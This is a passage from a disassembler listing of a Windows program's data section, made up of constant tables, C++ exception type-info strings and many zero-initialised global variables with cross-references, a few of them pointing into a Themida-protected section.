0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43CF58 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_425DDA+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43D0B4 dd offset off_427D68 ; DATA XREF: ___:00427F44o ; ___:00428030o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43D0CC dd offset off_427D68 ; DATA XREF: ___:off_427DF8o ; ___:00427E38o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43D0EC dd offset off_427D68 ; DATA XREF: ___:off_427E40o ; ___:00427E84o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43D10C dd offset off_427D68 ; DATA XREF: ___:off_427E8Co ; ___:00427ED0o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43D130 dd offset off_427D68 ; DATA XREF: ___:off_427ED8o ; ___:00427F14o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42470C align 10h dword_43D150 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o dword_43D158 dd 2 dup(0) ; DATA XREF: sub_40111D+62o ; ___:0040146Eo ... dword_43D160 dd 0 ; DATA XREF: ___:004015B0o ; sub_401ACD+B07o ... dd 5 dup(0) dword_43D178 dd 0 ; DATA XREF: sub_401ACD+B63r ; sub_4150B4+60r dd 2D9h dup(0) dword_43DCE0 dd 0 ; DATA XREF: sub_401ACD+5E62r ; sub_401ACD+5F3Fr ... dd 7Fh dup(0) dword_43DEE0 dd 0 ; DATA XREF: sub_40B0F6+41w ; sub_40B231+40w ... dword_43DEE4 dd 0 ; DATA XREF: sub_40B0F6+47w ; sub_40B231+46w ... dword_43DEE8 dd 0 ; DATA XREF: sub_40B0F6+52w ; sub_40B231+3Ar ... dword_43DEEC dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017ED+B9w ... dword_43DEF0 dd 0 ; DATA XREF: sub_40B231+75r ; sub_40B412+2Aw ... dword_43DEF4 dd 0 ; DATA XREF: ___:004015FFw ; ___:00401677w ... byte_43DEF8 db 0 ; DATA XREF: sub_4017ED+91o ; sub_401ACD+5DA7r ... align 4 dd 1E15h dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:0043378Co db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:00437A78o dd 1CFCh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: ___:off_4384E8o dword_457444 dd 0E38Eh dup(0) db 2 dup(0) word_49027E dw 0 ; DATA XREF: Themida_:loc_54BCD7o dd 0CA1h dup(0) dword_493504 dd 8750h dup(0) ; DATA XREF: Themida_:0055D9C5o db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_438354o dd 56A6h dup(0) dword_4CACE0 dd 0 ; DATA XREF: sub_40111D+FDw ; sub_40B0F6+13o ... dword_4CACE4 dd 0 ; DATA XREF: ___:0040125Ew ; sub_401ACD:loc_4044D7r ... dword_4CACE8 dd 0 ; DATA XREF: ___:loc_4016FFo dword_4CACEC dd 20h dup(0) ; DATA XREF: ___:004016B6o ; ___:00401750o ... dword_4CAD6C dd 10h dup(0) ; DATA XREF: ___:004016CCo dword_4CADAC dd 24h dup(0) ; DATA XREF: ___:004016E3o dword_4CAE3C dd 0 ; DATA XREF: ___:004016D7w ; ___:00401767w ... dword_4CAE40 dd 0 ; DATA XREF: ___:004016F6w align 10h byte_4CAE50 db 0 ; DATA XREF: sub_401955+28r ; sub_401955+30o align 4 dword_4CAE54 dd 0 ; DATA XREF: ___:00401704w ; ___:0040171Br ... dword_4CAE58 dd 0 ; DATA XREF: ___:004016BBw ; sub_401ACD+8BEr dword_4CAE5C dd 0 ; DATA XREF: sub_401ACD+7DBFo ; sub_40C9A4+13o ... dword_4CAE60 dd 0 ; DATA XREF: sub_409B12+4A7w ; sub_409B12+4EBr ... dword_4CAE64 dd 0 ; DATA XREF: sub_409B12+65w ; sub_4196BC+166r dword_4CAE68 dd 0 ; DATA XREF: sub_409B12+80Bw ; sub_409B12+880r ... dword_4CAE6C dd 0 ; DATA XREF: sub_409B12+9D8w ; sub_409B12+A43r ... dword_4CAE70 dd 0 ; DATA XREF: sub_409B12+98Aw ; sub_409B12+A13r ... dword_4CAE74 dd 0 ; DATA XREF: sub_409B12+48Dw ; sub_409B12+4DBr ... dword_4CAE78 dd 0 ; DATA XREF: sub_409B12+213w ; sub_409B12+234r dword_4CAE7C dd 0 ; DATA XREF: sub_409B12+9CBw ; sub_409B12+A3Br ... dword_4CAE80 dd 0 ; DATA XREF: sub_409B12+372w ; sub_409B12+3C7r ... dword_4CAE84 dd 0 ; DATA XREF: sub_409B12+40Fw ; sub_41AA42+11Er dword_4CAE88 dd 0 ; DATA XREF: sub_409B12+37Fw ; sub_409B12+3CFr ... dword_4CAE8C dd 0 ; DATA XREF: sub_409B12+3C0w ; sub_418C8E+ADr dword_4CAE90 dd 0 ; DATA XREF: sub_409B12+55Aw ; sub_40F0D5+115r ... dword_4CAE94 dd 0 ; DATA XREF: sub_409B12+72w ; sub_409B12+D2r ... dword_4CAE98 dd 0 ; DATA XREF: sub_409B12+97Dw ; sub_409B12+A06r ... dword_4CAE9C dd 0 ; DATA XREF: sub_409B12+3A6w ; sub_409B12+3E7r ... dword_4CAEA0 dd 0 ; DATA XREF: sub_409B12+859w ; sub_409B12+8ACr ... dword_4CAEA4 dd 0 ; DATA XREF: sub_409B12+2A5w ; sub_409B12+2F0r ... dword_4CAEA8 dd 0 ; DATA XREF: sub_409B12+84Cw ; sub_409B12+8A4r ... dword_4CAEAC dd 0 ; DATA XREF: sub_409B12+B3w dword_4CAEB0 dd 0 ; DATA XREF: sub_409B12+866w ; sub_409B12+8B4r ... dword_4CAEB4 dd 0 ; DATA XREF: sub_409B12+54Dw ; sub_409B12+6D0r ... dword_4CAEB8 dd 0 ; DATA XREF: sub_409B12+58w ; sub_409B12+CAr ... dword_4CAEBC dd 0 ; DATA XREF: sub_409B12+934w dword_4CAEC0 dd 0 ; DATA XREF: sub_401ACD:loc_403F25r ; sub_409B12+A95w ... dword_4CAEC4 dd 0 ; DATA XREF: sub_409B12+A6w ; sub_409B12+F2r dword_4CAEC8 dd 0 ; DATA XREF: sub_409B12+480w ; sub_409B12+4D3r ... dword_4CAECC dd 0 ; DATA XREF: sub_409B12+5F6w ; sub_40BFA3+20r dword_4CAED0 dd 0 ; DATA XREF: sub_409B12+9BEw ; sub_409B12+A33r dword_4CAED4 dd 0 ; DATA XREF: sub_409B12+5E9w ; sub_409B12+754r ... dword_4CAED8 dd 0 ; DATA XREF: sub_409B12+A0Cw dword_4CAEDC dd 0 ; DATA XREF: sub_409B12+B50w dword_4CAEE0 dd 0 ; DATA XREF: sub_409B12+7FEw ; sub_409B12+86Dr ... dword_4CAEE4 dd 0 ; DATA XREF: sub_409B12+1B3w ; sub_40B2F1+3Do ... dword_4CAEE8 dd 0 ; DATA XREF: sub_409B12+997w ; sub_409B12+A1Br ... dword_4CAEEC dd 0 ; DATA XREF: sub_409B12+38Cw ; sub_409B12+3D7r ... dword_4CAEF0 dd 0 ; DATA XREF: sub_409B12+399w ; sub_409B12+3DFr ... dword_4CAEF4 dd 0 ; DATA XREF: sub_409B12+C85w ; sub_409B12+C8Cr ... dword_4CAEF8 dd 0 ; DATA XREF: sub_409B12+6ACw ; ___:0041088Fr dword_4CAEFC dd 0 ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4CAF00 dd 0 ; DATA XREF: sub_409B12+4B4w ; sub_4153BC+207r dword_4CAF04 dd 0 ; DATA XREF: sub_409B12+9E5w ; sub_409B12+A4Br ... dword_4CAF08 dd 0 ; DATA XREF: sub_401000+51r ; sub_409B12+2B2w ... dword_4CAF0C dd 0 ; DATA XREF: sub_409B12+7Fw ; sub_409B12+DAr ... dword_4CAF10 dd 0 ; DATA XREF: sub_401ACD+5911r ; sub_401ACD+79CEr ... dword_4CAF14 dd 0 ; DATA XREF: ___:004012ADr ; sub_401ACD+5117r ... dword_4CAF18 dd 0 ; DATA XREF: sub_409B12+825w ; sub_409B12+890r ... dword_4CAF1C dd 0 ; DATA XREF: sub_409B12+9A4w ; sub_409B12+A23r dword_4CAF20 dd 0 ; DATA XREF: sub_409B12+C0Ew ; sub_409B12+C3Fr dword_4CAF24 dd 0 ; DATA XREF: sub_409B12+2CCw ; sub_4184E1+47r dword_4CAF28 dd 0 ; DATA XREF: sub_409B12+22Dw dword_4CAF2C dd 0 ; DATA XREF: sub_409B12+91Aw ; sub_409B12+92Er dword_4CAF30 dd 0 ; DATA XREF: sub_409B12+C28w dword_4CAF34 dd 0 ; DATA XREF: sub_409B12+2D9w ; sub_4184E1+4Fr dword_4CAF38 dd 0 ; DATA XREF: sub_409B12+574w ; sub_409B12+6E8r ... dword_4CAF3C dd 0 ; DATA XREF: sub_409B12+83Fw ; sub_409B12+873r dword_4CAF40 dd 0 ; DATA XREF: sub_409B12+220w ; sub_409B12+23Cr dword_4CAF44 dd 0 ; DATA XREF: sub_409B12+172w ; sub_409B12+1C2r ... dword_4CAF48 dd 0 ; DATA XREF: sub_401ACD+1E30r ; sub_401ACD+5AC7r ... dword_4CAF4C dd 0 ; DATA XREF: sub_4017ED+C4r ; sub_401ACD+51A1r ... dword_4CAF50 dd 0 ; DATA XREF: sub_409B12+567w ; sub_409B12+6DCr ... dword_4CAF54 dd 0 ; DATA XREF: sub_409B12+8DBw ; sub_409B12:loc_40A40Bw ... dword_4CAF58 dd 0 ; DATA XREF: sub_401000+26r ; sub_409B12+28Bw ... dword_4CAF5C dd 0 ; DATA XREF: sub_401ACD+7959r ; sub_409B12+69Fw ... dword_4CAF60 dd 0 ; DATA XREF: sub_409B12+32Dw ; sub_409B12+341r ... dword_4CAF64 dd 0 ; DATA XREF: sub_409B12+3B3w ; sub_409B12+3EFr ... dword_4CAF68 dd 0 ; DATA XREF: sub_409B12+C01w ; sub_409B12+C37r dword_4CAF6C dd 0 ; DATA XREF: sub_409B12+818w ; sub_409B12+888r ... dword_4CAF70 dd 0 ; DATA XREF: sub_409B12+206w ; sub_409B12+227r dword_4CAF74 dd 0 ; DATA XREF: sub_409B12+18Cw ; sub_409B12+1D2r ... dword_4CAF78 dd 0 ; DATA XREF: sub_409B12+832w ; sub_409B12+898r ... dword_4CAF7C dd 0 ; DATA XREF: sub_409B12+624w ; sub_409B12+774r dword_4CAF80 dd 0 ; DATA XREF: sub_401000+5Ar ; sub_409B12+2BFw ... dword_4CAF84 dd 0 ; DATA XREF: sub_409B12+66Bw ; sub_409B12+79Cr ... dword_4CAF88 dd 0 ; DATA XREF: sub_409B12+320w ; sub_409B12+334r ... dword_4CAF8C dd 0 ; DATA XREF: sub_409B12+644w ; sub_409B12+784r ... dword_4CAF90 dd 0 ; DATA XREF: sub_409B12+44Cw ; sub_409B12+4AEr ... dword_4CAF94 dd 0 ; DATA XREF: sub_409B12+199w ; sub_409B12+1DAr ... dword_4CAF98 dd 0 ; DATA XREF: sub_409B12+365w ; sub_409B12+3BAr ... dword_4CAF9C dd 0 ; DATA XREF: sub_409B12+AA2w dword_4CAFA0 dd 0 ; DATA XREF: sub_409B12+5DCw ; sub_409B12+748r ... dword_4CAFA4 dd 0 ; DATA XREF: sub_4017ED+3Er ; sub_401ACD+5153r ... dword_4CAFA8 dd 0 ; DATA XREF: sub_409B12+4Bw ; sub_409B12+C2r ... dword_4CAFAC dd 0 ; DATA XREF: sub_409B12+473w ; sub_409B12+4CBr ... dword_4CAFB0 dd 0 ; DATA XREF: sub_409B12+165w ; sub_409B12+1BAr ... dword_4CAFB4 dd 0 ; DATA XREF: sub_409B12+9FFw ; sub_409B12+A5Br ... dword_4CAFB8 dd 0 ; DATA XREF: sub_409B12+685w ; sub_409B12+7ACr ... dword_4CAFBC dd 0 ; DATA XREF: sub_401955+D1r ; sub_401ACD+51B6r ... dword_4CAFC0 dd 0 ; DATA XREF: sub_409B12+C1Bw ; sub_409B12+C47r dword_4CAFC4 dd 0 ; DATA XREF: sub_409B12+3Ew ; sub_409B12+BAr ... dword_4CAFC8 dd 0 ; DATA XREF: sub_401000+45r ; sub_409B12+298w ... dword_4CAFCC dd 0 ; DATA XREF: sub_409B12+651w ; sub_409B12+78Cr ... dword_4CAFD0 dd 0 ; DATA XREF: sub_409B12+637w ; sub_409B12+77Cr ... dword_4CAFD4 dd 0 ; DATA XREF: sub_401ACD+73B9r ; sub_409B12+C92w dword_4CAFD8 dd 0 ; DATA XREF: sub_409B12+879w ; ___:004168D5r ... dword_4CAFDC dd 0 ; DATA XREF: sub_409B12+112w dword_4CAFE0 dd 0 ; DATA XREF: sub_409B12+BE7w ; sub_409B12+C22r dword_4CAFE4 dd 0 ; DATA XREF: sub_401ACD+2FE4r ; sub_401ACD+5F98r ... dword_4CAFE8 dd 0 ; DATA XREF: sub_409B12+459w ; sub_409B12+4BBr ... dword_4CAFEC dd 0 ; DATA XREF: sub_409B12+49Aw ; sub_409B12+4E3r ... dword_4CAFF0 dd 0 ; DATA XREF: sub_409B12+466w ; sub_409B12+4C3r ... dword_4CAFF4 dd 0 ; DATA XREF: sub_401955+89r ; sub_401ACD+51D3r ... dword_4CAFF8 dd 0 ; DATA XREF: sub_409B12+1A6w ; sub_409B12+1E2r ... dword_4CAFFC dd 0 ; DATA XREF: sub_409B12+9F2w ; sub_409B12+A53r ... dword_4CB000 dd 0 ; DATA XREF: sub_409B12+158w ; sub_409B12+1ADr ... dword_4CB004 dd 0 ; DATA XREF: sub_409B12+8Cw ; sub_409B12+E2r ... dword_4CB008 dd 0 ; DATA XREF: sub_409B12+610w ; sub_409B12+764r ... dword_4CB00C dd 0 ; DATA XREF: sub_409B12+B43w ; sub_409B12+B5Fr dword_4CB010 dd 0 ; DATA XREF: sub_409B12+33Aw ; sub_419651+55r dword_4CB014 dd 0 ; DATA XREF: sub_409B12+27Ew ; sub_409B12+2D3r ... dword_4CB018 dd 0 ; DATA XREF: sub_409B12+BAAw dword_4CB01C dd 0 ; DATA XREF: sub_409B12+AECw ; sub_40AB31+CEr dword_4CB020 dd 0 ; DATA XREF: sub_409B12+ADFw ; sub_409B12+AE6r ... dword_4CB024 dd 0 ; DATA XREF: sub_4017ED+A6r ; sub_401ACD+5132r ... dword_4CB028 dd 0 ; DATA XREF: sub_401ACD+5124r ; sub_401ACD+7980r ... dword_4CB02C dd 0 ; DATA XREF: sub_409B12+BF4w ; sub_409B12+C2Fr dword_4CB030 dd 0 ; DATA XREF: sub_401ACD+1E56r ; sub_401ACD+5AEDr ... dword_4CB034 dd 0 ; DATA XREF: sub_409B12+9B1w ; sub_409B12+A2Br ... dword_4CB038 dd 0 ; DATA XREF: sub_409B12+65Ew ; sub_409B12+794r ... dword_4CB03C dd 0 ; DATA XREF: sub_40111D+12r ; sub_4017ED+D0r ... dword_4CB040 dd 0 ; DATA XREF: sub_409B12+59Bw ; sub_409B12+70Cr ... dword_4CB044 dd 0 ; DATA XREF: sub_409B12+B36w ; sub_409B12+B57r dword_4CB048 dd 0 ; DATA XREF: sub_409B12+540w ; sub_409B12+6C4r ... dword_4CB04C dd 0 ; DATA XREF: sub_409B12+B29w ; sub_409B12+B4Ar dword_4CB050 dd 0 ; DATA XREF: ___:00401273r ; sub_409B12+31w ... dword_4CB054 dd 0 ; DATA XREF: sub_409B12+17Fw ; sub_409B12+1CAr ... dd 0 dword_4CB05C dd 0 ; DATA XREF: sub_409B12+927w ; sub_409B12+93Br dword_4CB060 dd 0 ; DATA XREF: sub_409B12+99w ; sub_409B12+EAr ... dword_4CB064 dd 0 ; DATA XREF: sub_409B12:loc_409C10w ; sub_409B12+12Bw ... dword_4CB068 dd 0 ; DATA XREF: sub_409B12+126w ; sub_40A7CE+1Cr dword_4CB06C dd 0 ; DATA XREF: sub_409B12:loc_409D00w ; sub_409B12:loc_409D67w ... dword_4CB070 dd 0 ; DATA XREF: sub_409B12+250w ; sub_40A7CE+50r dword_4CB074 dd 0 ; DATA XREF: ___:0040156Ar ; sub_401ACD+4567r ... dword_4CB078 dd 0 ; DATA XREF: sub_409B12+41Ew ; sub_40A7CE+84r dword_4CB07C dd 0 ; DATA XREF: sub_409B12:loc_40A016w ; sub_40A7CE:loc_40A87Er dword_4CB080 dd 0 ; DATA XREF: sub_409B12+4FFw ; sub_40A7CE+B8r dword_4CB084 dd 0 ; DATA XREF: sub_409B12:loc_40A2E7w ; sub_40A7CE:loc_40A8B2r dword_4CB088 dd 0 ; DATA XREF: sub_409B12+7D0w ; sub_40A7CE+ECr dword_4CB08C dd 0 ; DATA XREF: sub_409B12:loc_40A3D2w ; sub_409B12+8EFw ... dword_4CB090 dd 0 ; DATA XREF: sub_409B12+8EAw ; sub_40A7CE+120r dword_4CB094 dd 0 ; DATA XREF: sub_401ACD:loc_406F17r ; sub_409B12:loc_40A466w ... dword_4CB098 dd 0 ; DATA XREF: sub_409B12+94Fw ; sub_40A7CE+154r dword_4CB09C dd 0 ; DATA XREF: sub_401ACD+456Fr ; sub_409B12:loc_40A582w ... dword_4CB0A0 dd 0 ; DATA XREF: sub_409B12+A6Bw ; sub_40A7CE+188r dword_4CB0A4 dd 0 ; DATA XREF: sub_409B12:loc_40A5CCw ; sub_40A7CE:loc_40A982r dword_4CB0A8 dd 0 ; DATA XREF: sub_409B12+AB5w ; sub_40A7CE+1BCr dword_4CB0AC dd 0 ; DATA XREF: sub_409B12:loc_40A616w ; sub_40A7CE:loc_40A9B6r dword_4CB0B0 dd 0 ; DATA XREF: sub_409B12+AFFw ; sub_40A7CE+1F0r dword_4CB0B4 dd 0 ; DATA XREF: sub_409B12:loc_40A68Aw ; sub_40A7CE:loc_40A9EAr dword_4CB0B8 dd 0 ; DATA XREF: sub_409B12+B73w ; sub_40A7CE+224r dword_4CB0BC dd 0 ; DATA XREF: sub_409B12:loc_40A6D4w ; sub_40A7CE:loc_40AA1Er dword_4CB0C0 dd 0 ; DATA XREF: sub_409B12+BBDw ; sub_40A7CE+258r dword_4CB0C4 dd 0 ; DATA XREF: sub_409B12:loc_40A772w ; sub_40A7CE:loc_40AA52r dword_4CB0C8 dd 0 ; DATA XREF: sub_409B12+C5Bw ; sub_40A7CE+28Cr dword_4CB0CC dd 0 ; DATA XREF: sub_409B12:loc_40A7BCw ; sub_40A7CE:loc_40AA86r dword_4CB0D0 dd 0 ; DATA XREF: sub_409B12+CA5w ; sub_40A7CE+2C0r dword_4CB0D4 dd 7 dup(0) ; DATA XREF: sub_40AC0F+32o dword_4CB0F0 dd 0 ; DATA XREF: sub_40BA56+18r ; sub_40BFEB+92w ... dword_4CB0F4 dd 0 ; DATA XREF: sub_40C124+4Dr ; sub_40C124+2F1w ... dd 7FEh dup(0) dword_4CD0F0 dd 6 dup(0) ; DATA XREF: sub_40C124+D2o ; sub_40C124+13Bo ... dword_4CD108 dd 0 ; DATA XREF: sub_40BACD+2C4w ; sub_40BACD+348o dword_4CD10C dd 0 ; DATA XREF: sub_40BACD+33Ew ; sub_40BACD+35Ar dword_4CD110 dd 0 ; DATA XREF: sub_40BACD+2CFw dword_4CD114 dd 0 ; DATA XREF: sub_40BACD+2B9w ; sub_40BACD:loc_40BDE2r dword_4CD118 dd 20h dup(0) ; DATA XREF: sub_40BACD+2E2o ; sub_40BACD+302o dword_4CD198 dd 0 ; DATA XREF: sub_40BACD+2D5w dword_4CD19C dd 0 ; DATA XREF: sub_40BACD+2EFw ; sub_40BACD+30Fw dword_4CD1A0 dd 0 ; DATA XREF: sub_40BACD:loc_40BE3Dr align 8 dword_4CD1A8 dd 0 ; DATA XREF: sub_40BACD+82w ; sub_40BACD+101o dword_4CD1AC dd 41h dup(0) ; DATA XREF: sub_40BACD+41o dword_4CD2B0 dd 41h dup(0) ; DATA XREF: sub_40BACD+69o dword_4CD3B4 dd 0 ; DATA XREF: sub_40BACD+F7w ; sub_40BACD+113r dword_4CD3B8 dd 0 ; DATA XREF: sub_40BACD+52w dword_4CD3BC dd 0 ; DATA XREF: sub_40BACD+4Dw ; sub_40BACD+D4r dword_4CD3C0 dd 20h dup(0) ; DATA XREF: sub_40BACD+9Ao ; sub_40BACD+BAo dword_4CD440 dd 0 ; DATA XREF: sub_40BACD+8Fw dword_4CD444 dd 0 ; DATA XREF: sub_40BACD+A7w ; sub_40BACD+C7w dword_4CD448 dd 0 ; DATA XREF: sub_40BACD:loc_40BBF6r align 10h dword_4CD450 dd 0 ; DATA XREF: sub_40BACD+1A5w ; sub_40BACD+225o dword_4CD454 dd 41h dup(0) ; DATA XREF: sub_40BACD+167o dword_4CD558 dd 41h dup(0) ; DATA XREF: sub_40BACD+18Co dword_4CD65C dd 0 ; DATA XREF: sub_40BACD+21Bw ; sub_40BACD+237r dword_4CD660 dd 0 ; DATA XREF: sub_40BACD+17Aw dword_4CD664 dd 0 ; DATA XREF: sub_40BACD+175w ; sub_40BACD+1F8r dword_4CD668 dd 20h dup(0) ; DATA XREF: sub_40BACD+1BEo ; sub_40BACD+1DEo dword_4CD6E8 dd 0 ; DATA XREF: sub_40BACD+1B1w dword_4CD6EC dd 0 ; DATA XREF: sub_40BACD+1CBw ; sub_40BACD+1EBw dword_4CD6F0 dd 0 ; DATA XREF: sub_40BACD:loc_40BD1Ar align 8 dword_4CD6F8 dd 0 ; DATA XREF: sub_40BACD+417w ; sub_40BACD+470o dword_4CD6FC dd 0A2h dup(0) ; DATA XREF: sub_40BACD+405o dword_4CD984 dd 41h dup(0) ; DATA XREF: sub_40BACD+3CFo dword_4CDA88 dd 0 ; DATA XREF: sub_40BACD+3FCw ; sub_40BACD+423r align 10h dword_4CDA90 dd 0 ; DATA XREF: sub_40BACD+466w ; sub_40BACD+482r dword_4CDA94 dd 0 ; DATA XREF: sub_40BACD+429w dword_4CDA98 dd 0 ; DATA XREF: sub_40BACD+436w dword_4CDA9C dd 0 ; DATA XREF: sub_40BACD+3F6w dd 0 dword_4CDAA4 dd 0 ; DATA XREF: sub_40BACD:loc_40BF65r dd 0 dword_4CDAAC dd 0 ; DATA XREF: sub_40B719+Er ; sub_40B719+32r dword_4CDAB0 dd 0 ; DATA XREF: sub_40B719+9r ; sub_40B719+26r dword_4CDAB4 dd 82h dup(0) ; DATA XREF: sub_40C59B+8Do dword_4CDCBC dd 2 dup(0) ; DATA XREF: sub_40CF04+68o dword_4CDCC4 dd 0 ; DATA XREF: sub_40D89F+8w ; ___:0040DC6Eo dd 0 dword_4CDCCC dd 2 dup(0) ; DATA XREF: ___:0040DBA4o dword_4CDCD4 dd 0 ; DATA XREF: ___:0040E4D7r dd 0 dd 0 dword_4CDCE0 dd 0 ; DATA XREF: ___:0040E4AAr dword_4CDCE4 dd 0 ; DATA XREF: ___:0040E48Cr ; ___:0040E4F5r dd 0 dword_4CDCEC dd 0 ; DATA XREF: sub_40BACD+2AEr ; ___:0040E6E8w dd 0 dword_4CDCF4 dd 0 ; DATA XREF: sub_40B785+1Cr dword_4CDCF8 dd 0 ; DATA XREF: ___:0040EFE8w ; ___:0040F00Fr ... dd 3 dup(0) dword_4CDD08 dd 0 ; DATA XREF: ___:00410905r align 10h dword_4CDD10 dd 0 ; DATA XREF: sub_412351+4w ; sub_412351+9o dd 109h dup(0) dword_4CE138 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F6Eo ; sub_401ACD:loc_404AC4o dword_4CE758 dd 0 ; DATA XREF: sub_401ACD+1A23w ; sub_401ACD+2F66r ... dd 11Ch dup(0) dword_4CEBCC dd 1000h dup(0) ; DATA XREF: sub_4151AC+1Do ; sub_41524Co ... dword_4D2BCC dd 0 ; DATA XREF: sub_4151AC+13o ; sub_41524C+Eo ... dword_4D2BD0 dd 0 ; DATA XREF: sub_4155F7+Fr ; sub_4157F0+12r align 8 dword_4D2BD8 dd 0Eh dup(0) ; DATA XREF: sub_416922+Fo dword_4D2C10 dd 80h dup(0) ; DATA XREF: sub_4175E9+41o dword_4D2E10 dd 200h dup(0) ; DATA XREF: sub_416F1A+C7o ; sub_417275+DDo ... dword_4D3610 dd 200h dup(0) ; DATA XREF: sub_416F1A+D6o ; sub_417275+F4o ... dword_4D3E10 dd 0 ; DATA XREF: sub_416F1A+86w ; sub_4170EC+94r dword_4D3E14 dd 0 ; DATA XREF: sub_416F1A+A7w ; sub_417552+55r ... dword_4D3E18 dd 0 ; DATA XREF: sub_416F1A+A0w ; sub_4170EC+D6r ... dword_4D3E1C dd 0 ; DATA XREF: sub_416F1A+79w ; sub_4170EC+35r ... dword_4D3E20 dd 80h dup(0) ; DATA XREF: sub_417552+5Eo dword_4D4020 dd 0 ; DATA XREF: sub_416F1A+93w ; sub_4170EC+A2r align 8 dword_4D4028 dd 0 ; DATA XREF: sub_416F1A+E7o ; sub_416F1A+103r ... dword_4D402C dd 0 ; DATA XREF: sub_417275+17Bw ; sub_41741C+107w dword_4D4030 dd 0 ; DATA XREF: sub_417275+180w ; sub_41741C+10Dw ... dword_4D4034 dd 0 ; DATA XREF: sub_417275+159w ; sub_417552+4Fr dword_4D4038 dd 0 ; DATA XREF: sub_4178BA+22w ; sub_4178BA:loc_417A3Fw ... dword_4D403C dd 0 ; DATA XREF: sub_401ACD+3CC3o ; sub_417788+12o ... dd 0 dword_4D4044 dd 0 ; DATA XREF: sub_4178BA+1Cr ; sub_417A5F+3Ar dd 42h dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: ___:off_437860o dd 3Ch dup(0) dword_4D4244 dd 0 ; DATA XREF: sub_4178BA+28r ; sub_417A5F+4Aw dd 1944h dup(0) dword_4DA758 dd 0 ; DATA XREF: sub_417A5F+23o dword_4DA75C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CE1o ; sub_417788+3Co ... dword_4DA960 dd 17h dup(0) ; DATA XREF: sub_4187DD:loc_4188FAo ; sub_4187DD+131o ... dword_4DA9BC dd 80h dup(0) ; DATA XREF: sub_419593+7Co ; sub_419593+A5o dword_4DABBC dd 0 ; DATA XREF: sub_418B58+45w ; sub_418B58+4Dr ... dword_4DABC0 dd 17h dup(0) ; DATA XREF: sub_41945F:loc_419581o ; sub_41945F+12Do dword_4DAC1C dd 80h dup(0) ; DATA XREF: sub_418A98+4Co ; sub_418A98+7Eo ... byte_4DAE1C db 0 ; DATA XREF: sub_418B58+29r ; sub_418B58+34w align 10h dword_4DAE20 dd 80h dup(0) ; DATA XREF: sub_418DAF+61o ; sub_418DAF+89o ... dword_4DB020 dd 81h dup(0) ; DATA XREF: sub_4186C1:loc_4186F9o ; sub_4186C1+5Bo dword_4DB224 dd 0 ; DATA XREF: sub_419A20:loc_419A41r ; sub_419B0F+54r ... dword_4DB228 dd 0 ; DATA XREF: sub_419A20r ; sub_419B0F+37r ... dword_4DB22C dd 0 ; DATA XREF: sub_419A50+1Ar ; sub_419C64+83o dword_4DB230 dd 0 ; DATA XREF: sub_419A20:loc_419A34r ; sub_419C64+11Bw dword_4DB234 dd 0Dh dup(0) ; DATA XREF: sub_419B0F+13o ; sub_419C64:loc_419DA1o dword_4DB268 dd 0 ; DATA XREF: sub_419B0F+CDr ; sub_419B0F+ECr ... align 10h dword_4DB270 dd 0Eh dup(0) ; DATA XREF: sub_41A88B+47o dword_4DB2A8 dd 0 ; DATA XREF: sub_41BBBD+1B9w ; ___:loc_41D268w ... dword_4DB2AC dd 0 ; DATA XREF: sub_41D3BE+35w ; sub_41DA72:loc_41DB0Cw ... dword_4DB2B0 dd 0 ; DATA XREF: sub_423A33+13Ar dd 0A28h, 501h, 5, 1 dword_4DB2C4 dd 1 ; DATA XREF: ___:loc_401516r ; ___:00423014w dword_4DB2C8 dd 2440B30h ; DATA XREF: ___:0040151Fr ; ___:0040153Fr ... align 10h dword_4DB2D0 dd 2440B58h ; DATA XREF: ___:00422F0Ew ; sub_425AC7+9r ... dword_4DB2D4 dd 0 ; DATA XREF: sub_4261AB+36r dword_4DB2D8 dd 0 ; DATA 